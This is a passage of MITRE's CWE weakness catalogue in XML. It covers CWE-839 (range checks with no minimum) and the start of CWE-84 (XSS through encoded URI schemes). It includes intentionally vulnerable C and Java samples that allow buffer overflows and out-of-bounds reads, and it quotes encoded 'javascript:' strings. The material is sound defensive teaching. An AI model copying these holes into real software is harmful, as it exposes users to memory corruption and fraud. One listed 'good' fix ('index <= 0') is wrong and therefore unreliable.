					          <Reference_Link>http://software-security.sans.org/downloads/appsec-2011-files/manico-appsec-future-tools.pdf</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-15" Local_Reference_ID="R.838.5">
					          <Reference_Author>Jeremiah Grossman</Reference_Author>
					          <Reference_Author>Robert "RSnake" Hansen</Reference_Author>
					          <Reference_Author>Petko "pdp" D. Petkov</Reference_Author>
					          <Reference_Author>Anton Rager</Reference_Author>
					          <Reference_Author>Seth Fogie</Reference_Author>
					          <Reference_Title>XSS Attacks</Reference_Title>
					          <Reference_Section>Preventing XSS Attacks</Reference_Section>
					          <Reference_Publisher>Syngress</Reference_Publisher>
					          <Reference_PubDate>2007</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-20" Local_Reference_ID="R.838.6">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>DOM based XSS Prevention Cheat Sheet</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-21" Local_Reference_ID="R.838.7">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>OWASP Enterprise Security API (ESAPI) Project</Reference_Title>
					          <Reference_Link>http://www.owasp.org/index.php/ESAPI</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Perform lossless conversion of String data between differing
						character encodings</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS12-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Use compatible encodings on both sides of file or network
						IO</Mapped_Node_Name>
					          <Mapped_Node_ID>IDS13-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>468</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Related_Attack_Patterns,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="839" Name="Numeric Range Comparison Without Minimum Check" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The program checks a value to ensure that it does not exceed a
					maximum, but it does not verify that the value exceeds the
					minimum.</Description_Summary>
				        <Extended_Description>
					          <Text>Some programs use signed integers or floats even when their values are
						only expected to be positive or 0. An input validation check might assume
						that the value is positive, and only check for the maximum value. If the
						value is negative, but the code assumes that the value is positive, this can
						produce an error. The error may have security consequences if the negative
						value is used for memory allocation, array access, buffer access, etc.
						Ultimately, the error could lead to a buffer overflow or other type of
						memory corruption.</Text>
					          <Text>The use of a negative number in a positive-only context could have
						security implications for other types of resources. For example, a shopping
						cart might check that the user is not requesting more than 10 items, but a
						request for -3 items could cause the application to calculate a negative
						price and credit the attacker's account. </Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>187</Relationship_Target_ID>
					          <!--Partial Comparison-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>189</Relationship_Target_ID>
					          <!--Numeric Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>195</Relationship_Target_ID>
					          <!--Signed to Unsigned Conversion Error-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>682</Relationship_Target_ID>
					          <!--Incorrect Calculation-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>119</Relationship_Target_ID>
					          <!--Improper Restriction of Operations within the Bounds of a Memory Buffer-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanPrecede</Relationship_Nature>
					          <Relationship_Target_ID>124</Relationship_Target_ID>
					          <!--Buffer Underwrite ('Buffer Underflow')-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C" Prevalence="Often"/>
					          <Language Language_Name="C++" Prevalence="Often"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Alternate_Terms>
				        <Alternate_Term>
					          <Term>Signed comparison</Term>
					          <Alternate_Term_Description>
						            <Text>The "signed comparison" term is often used to describe when the
							program uses a signed variable and checks it to ensure that it is less
							than a maximum value (typically a maximum buffer size), but does not
							verify that it is greater than 0.</Text>
					          </Alternate_Term_Description>
				        </Alternate_Term>
			      </Alternate_Terms>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could modify the structure of the message or data being
							sent to the downstream component, possibly injecting commands.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>in some contexts, a negative value could lead to resource
							consumption.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If a negative value is used to access memory, buffers, or other
							indexable structures, it could access memory outside the bounds of the
							buffer.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Enforcement by Conversion</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>If the number to be used is always expected to be positive, change the
							variable type from signed to unsigned or size_t.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Input Validation</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>If the number to be used could have a negative value based on the
							specification (thus requiring a signed value), but the number should
							only be positive to preserve code correctness, then include a check to
							ensure that the value is positive.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-21">
					          <Intro_Text>The following code is intended to read an incoming packet from a
						socket and extract one or more headers.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>DataPacket *packet;</Code>
							              <Code>int numHeaders;</Code>
							              <Code>PacketHeader *headers;</Code>
							              <Code/>
							              <Code>sock=AcceptSocketConnection();</Code>
							              <Code>ReadPacket(packet, sock);</Code>
							              <Code>numHeaders =packet-&gt;headers;</Code>
							              <Code/>
							              <Code>if (numHeaders &gt; 100) {</Code>
							              <Block>
								                <Code>ExitError("too many headers!");</Code>
							              </Block>
							              <Code>}</Code>
							              <Code>headers = malloc(numHeaders * sizeof(PacketHeader);</Code>
							              <Code>ParsePacketHeaders(packet, headers);</Code>
						            </Block>
						            <Text> The code performs a check to make sure that the packet does not
							contain too many headers. However, numHeaders is defined as a signed
							int, so it could be negative. If the incoming packet specifies a value
							such as -3, then the malloc calculation will generate a negative number
							(say, -300 if each header can be a maximum of 100 bytes). When this
							result is provided to malloc(), it is first converted to a size_t type.
							This conversion then produces a large value such as 4294966996, which
							may cause malloc() to fail or to allocate an extremely large amount of
							memory (CWE-195). With the appropriate negative numbers, an attacker
							could trick malloc() into using a very small positive number, which then
							allocates a buffer that is much smaller than expected, potentially
							leading to a buffer overflow.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-23">
					          <Intro_Text>The following code reads a maximum size and performs a sanity check
						on that size. It then performs a strncpy, assuming it will not exceed the
						boundaries of the array. While the use of "short s" is forced in this
						particular example, short int's are frequently used within real-world code,
						such as code that processes structured data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int GetUntrustedInt () {</Code>
							              <Block>
								                <Code>return(0x0000FFFF);</Code>
							              </Block>
							              <Code>}</Code>
							              <Code/>
							              <Code>void main (int argc, char **argv) {</Code>
							              <Block>
								                <Code>char path[256];</Code>
								                <Code>char *input;</Code>
								                <Code>int i;</Code>
								                <Code>short s;</Code>
								                <Code>unsigned int sz;</Code>
								                <Code/>
								                <Code>i = GetUntrustedInt();</Code>
								                <Code>s = i;</Code>
								                <Code>/* s is -1 so it passes the safety check - CWE-697 */</Code>
								                <Code>if (s &gt; 256) {</Code>
								                <Block>
									                  <Code>DiePainfully("go away!\n");</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>/* s is sign-extended and saved in sz */</Code>
								                <Code>sz = s;</Code>
								                <Code/>
								                <Code>/* output: i=65535, s=-1, sz=4294967295 - your mileage may
									vary */</Code>
								                <Code>printf("i=%d, s=%d, sz=%u\n", i, s, sz);</Code>
								                <Code/>
								                <Code>input = GetUserInput("Enter pathname:");</Code>
								                <Code/>
								                <Code>/* strncpy interprets s as unsigned int, so it's treated as
									MAX_INT</Code>
								                <Code>(CWE-195), enabling buffer overflow (CWE-119) */</Code>
								                <Code>strncpy(path, input, s);</Code>
								                <Code>path[255] = '\0'; /* don't want CWE-170 */</Code>
								                <Code>printf("Path is: %s\n", path);</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text> This code first exhibits an example of CWE-839, allowing "s" to be a
							negative number. When the negative short "s" is converted to an unsigned
							integer, it becomes an extremely large positive integer. When this
							converted integer is used by strncpy() it will lead to a buffer overflow
							(CWE-119). </Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-100">
					          <Intro_Text>In the following code, the method retrieves a value from an array at
						a specific array index location that is given as an input parameter to the
						method</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>int getValueFromArray(int *array, int len, int index) {</Code>
							              <Block>
								                <Code/>
								                <Code>int value;</Code>
								                <Code/>
								                <Comment>// check that the array index is less than the
									maximum</Comment>
								                <Comment>// length of the array</Comment>
								                <Code>if (index &lt; len) {</Code>
								                <Block>
									                  <Code/>
									                  <Comment>// get the value at the specified index of the
										array</Comment>
									                  <Code>value = array[index];</Code>
								                </Block>
								                <Code>}</Code>
								                <Comment>// if array index is invalid then output error
									message</Comment>
								                <Comment>// and return value indicating error</Comment>
								                <Code>else {</Code>
								                <Block>
									                  <Code>printf("Value is: %d\n", array[index]);</Code>
									                  <Code>value = -1;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Code>return value;</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>However, this method only verifies that the given array index is less
							than the maximum length of the array but does not check for the minimum
							value (CWE-839). This will allow a negative value to be accepted as the
							input array index, which will result in a out of bounds read (CWE-125)
							and may allow access to sensitive memory. The input array index should
							be checked to verify that is within the maximum and minimum range
							required for the array (CWE-129). In this example the if statement
							should be modified to include a minimum range check, as shown
							below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code/>
							              <Code>...</Code>
							              <Code/>
							              <Comment>// check that the array index is within the correct</Comment>
							              <Comment>// range of values for the array</Comment>
							              <Code>if (index &lt;= 0 &amp;&amp; index &lt; len) {</Code>
							              <Code/>
							              <Code>...</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code shows a simple BankAccount class with deposit and
						withdraw methods.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Code/>
								                <Code>public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;</Code>
								                <Code/>
								                <Comment>// variable for bank account balance</Comment>
								                <Code>private double accountBalance;</Code>
								                <Code/>
								                <Comment>// constructor for BankAccount</Comment>
								                <Code>public BankAccount() {</Code>
								                <Block>
									                  <Code>accountBalance = 0;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// method to deposit amount into BankAccount</Comment>
								                <Code>public void deposit(double depositAmount) {...}</Code>
								                <Code/>
								                <Comment>// method to withdraw amount from BankAccount</Comment>
								                <Code>public void withdraw(double withdrawAmount) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>if (withdrawAmount &lt; MAXIMUM_WITHDRAWAL_LIMIT) {</Code>
									                  <Block>
										                    <Code/>
										                    <Code>double newBalance = accountBalance -
											withdrawAmount;</Code>
										                    <Code>accountBalance = newBalance;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else {</Code>
									                  <Block>
										                    <Code>System.err.println("Withdrawal amount exceeds the
											maximum limit allowed, please try again...");</Code>
										                    <Code>...</Code>
									                  </Block>
									                  <Code>}</Code>
								                </Block>
								                <Code>}</Code>
								                <Code/>
								                <Comment>// other methods for accessing the BankAccount
									object</Comment>
								                <Code>...</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The withdraw method includes a check to ensure that the withdrawal
							amount does not exceed the maximum limit allowed, however the method
							does not check to ensure that the withdrawal amount is greater than a
							minimum value (CWE-129). Performing a range check on a value that does
							not include a minimum check can have significant security implications,
							in this case not including a minimum range check can allow a negative
							value to be used which would cause the financial application using this
							class to deposit money into the user account rather than withdrawing. In
							this example the if statement should the modified to include a minimum
							range check, as shown below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>public class BankAccount {</Code>
							              <Block>
								                <Code/>
								                <Code>public final int MINIMUM_WITHDRAWAL_LIMIT = 0;</Code>
								                <Code>public final int MAXIMUM_WITHDRAWAL_LIMIT = 350;</Code>
								                <Code/>
								                <Code>...</Code>
								                <Code/>
								                <Comment>// method to withdraw amount from BankAccount</Comment>
								                <Code>public void withdraw(double withdrawAmount) {</Code>
								                <Block>
									                  <Code/>
									                  <Code>if (withdrawAmount &lt; MAXIMUM_WITHDRAWAL_LIMIT
										&amp;&amp;</Code>
									                  <Code> withdrawAmount &gt; MINIMUM_WITHDRAWAL_LIMIT) {</Code>
									                  <Block>
										                    <Code/>
										                    <Code>...</Code>
									                  </Block>
								                </Block>
							              </Block>
						            </Block>
						            <Text>Note that this example does not protect against concurrent access to
							the BankAccount balance variable, see CWE-413 and CWE-362.</Text>
						            <Text>While it is out of scope for this example, note that the use of
							doubles or floats in financial calculations may be subject to certain
							kinds of attacks where attackers use rounding errors to steal
							money.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-1866</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: integer overflow causes a negative signed
						value, which later bypasses a maximum-only check, leading to heap-based
						buffer overflow. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-1099</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: 16-bit counter can be interpreted as a
						negative value, compared to a 32-bit maximum value, leading to buffer
						under-write.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2011-0521</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: kernel's lack of a check for a negative
						value leads to memory corruption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-3704</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: parser uses atoi() but does not check for a
						negative value, which can happen on some platforms, leading to buffer
						under-write. </Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2010-2530</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: Negative value stored in an int bypasses a
						size check and causes allocation of large amounts of memory.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2009-3080</Observed_Example_Reference>
					          <Observed_Example_Description>Chain: negative offset value to IOCTL bypasses
						check for maximum index, then used as an array index for buffer under-read.
					</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-6393</Observed_Example_Reference>
					          <Observed_Example_Description>chain: file transfer client performs signed
						comparison, leading to integer overflow and heap-based buffer
						overflow.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4558</Observed_Example_Reference>
					          <Observed_Example_Description>chain: negative ID in media player bypasses check
						for maximum index, then used as an array index for buffer
						under-read.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Type Conversion Vulnerabilities" Page
						246.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 6, "Comparisons", Page 265.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2011-03-24</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, References, Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="84" Name="Improper Neutralization of Encoded URI Schemes in a Web Page" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The web application improperly neutralizes user-controlled
					input for executable script disguised with URI encodings.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>79</Relationship_Target_ID>
					          <!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Unexpected state</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Resolve all URIs to absolute or canonical representations before
							processing.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Carefully check each input parameter against a rigorous positive
							specification (white list) defining the specific characters and format
							allowed. All input should be neutralized, not just parameters that the
							user is supposed to specify, but all data in the request, including tag
							attributes, hidden fields, cookies, headers, the URL itself, and so
							forth. A common mistake that leads to continuing XSS vulnerabilities is
							to validate only fields that are expected to be redisplayed by the site.
							We often encounter data from the request that is reflected by the
							application server or the application that the development team did not
							anticipate. Also, a field that is not currently reflected may be used by
							a future developer. Therefore, validating ALL parts of the HTTP request
							is recommended.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-30.1">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Output Encoding</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use and specify an output encoding that can be handled by the
							downstream component that is reading the output. Common encodings
							include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified,
							a downstream component may choose a different encoding, either by
							assuming a default encoding or automatically inferring which encoding is
							being used, which can be erroneous. When the encodings are inconsistent,
							the downstream component might treat some character or byte sequences as
							special, even if they are not special in the original encoding.
							Attackers might then be able to exploit this discrepancy and conduct
							injection attacks; they even might be able to bypass protection
							mechanisms that assume the original encoding is also being used by the
							downstream component. </Text>
						            <Text>The problem of inconsistent output encodings often arises in web
							pages. If an encoding is not specified in an HTTP header, web browsers
							often guess about which encoding is being used. This can open up the
							browser to subtle XSS attacks. </Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-43">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>With Struts, write all data from form beans with the bean's
							filter attribute set to true.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-31">
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>To help mitigate XSS attacks against the user's session cookie, set
							the session cookie to be HttpOnly. In browsers that support the HttpOnly
							feature (such as more recent versions of Internet Explorer and Firefox),
							this attribute can prevent the user's session cookie from being
							accessible to malicious client-side scripts that use document.cookie.
							This is not a complete solution, since HttpOnly is not supported by all
							browsers. More importantly, XMLHTTPRequest and other powerful browser
							technologies provide read access to HTTP headers, including the
							Set-Cookie header in which the HttpOnly flag is set.</Text>
					          </Mitigation_Description>
					          <Mitigation_Effectiveness>Defense in Depth</Mitigation_Effectiveness>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0563</Observed_Example_Reference>
					          <Observed_Example_Description>Cross-site scripting (XSS) vulnerability in
						Microsoft Outlook Web Access (OWA) component in Exchange Server 5.5 allows
						remote attackers to inject arbitrary web script or HTML via an email message
						with an encoded javascript: URL ("jav&amp;#X41sc&amp;#0010;ript:") in an IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2276</Observed_Example_Reference>
					          <Observed_Example_Description>Cross-site scripting (XSS) vulnerability in Novell
						Groupwise WebAccess 6.5 before July 11, 2005 allows remote attackers to
						inject arbitrary web script or HTML via an e-mail message with an encoded
						javascript URI (e.g. "j&amp;#X41vascript" in an IMG
						tag).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0692</Observed_Example_Reference>
					          <Observed_Example_Description>Encoded script within BBcode IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0117</Observed_Example_Reference>
					          <Observed_Example_Description>Encoded "javascript" in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0118</Observed_Example_Reference>
					          <Observed_Example_Description>Encoded "javascript" in IMG
						tag.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>XSS using Script Via Encoded URI Schemes</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Potential_Mitigations</Modification_Comment>
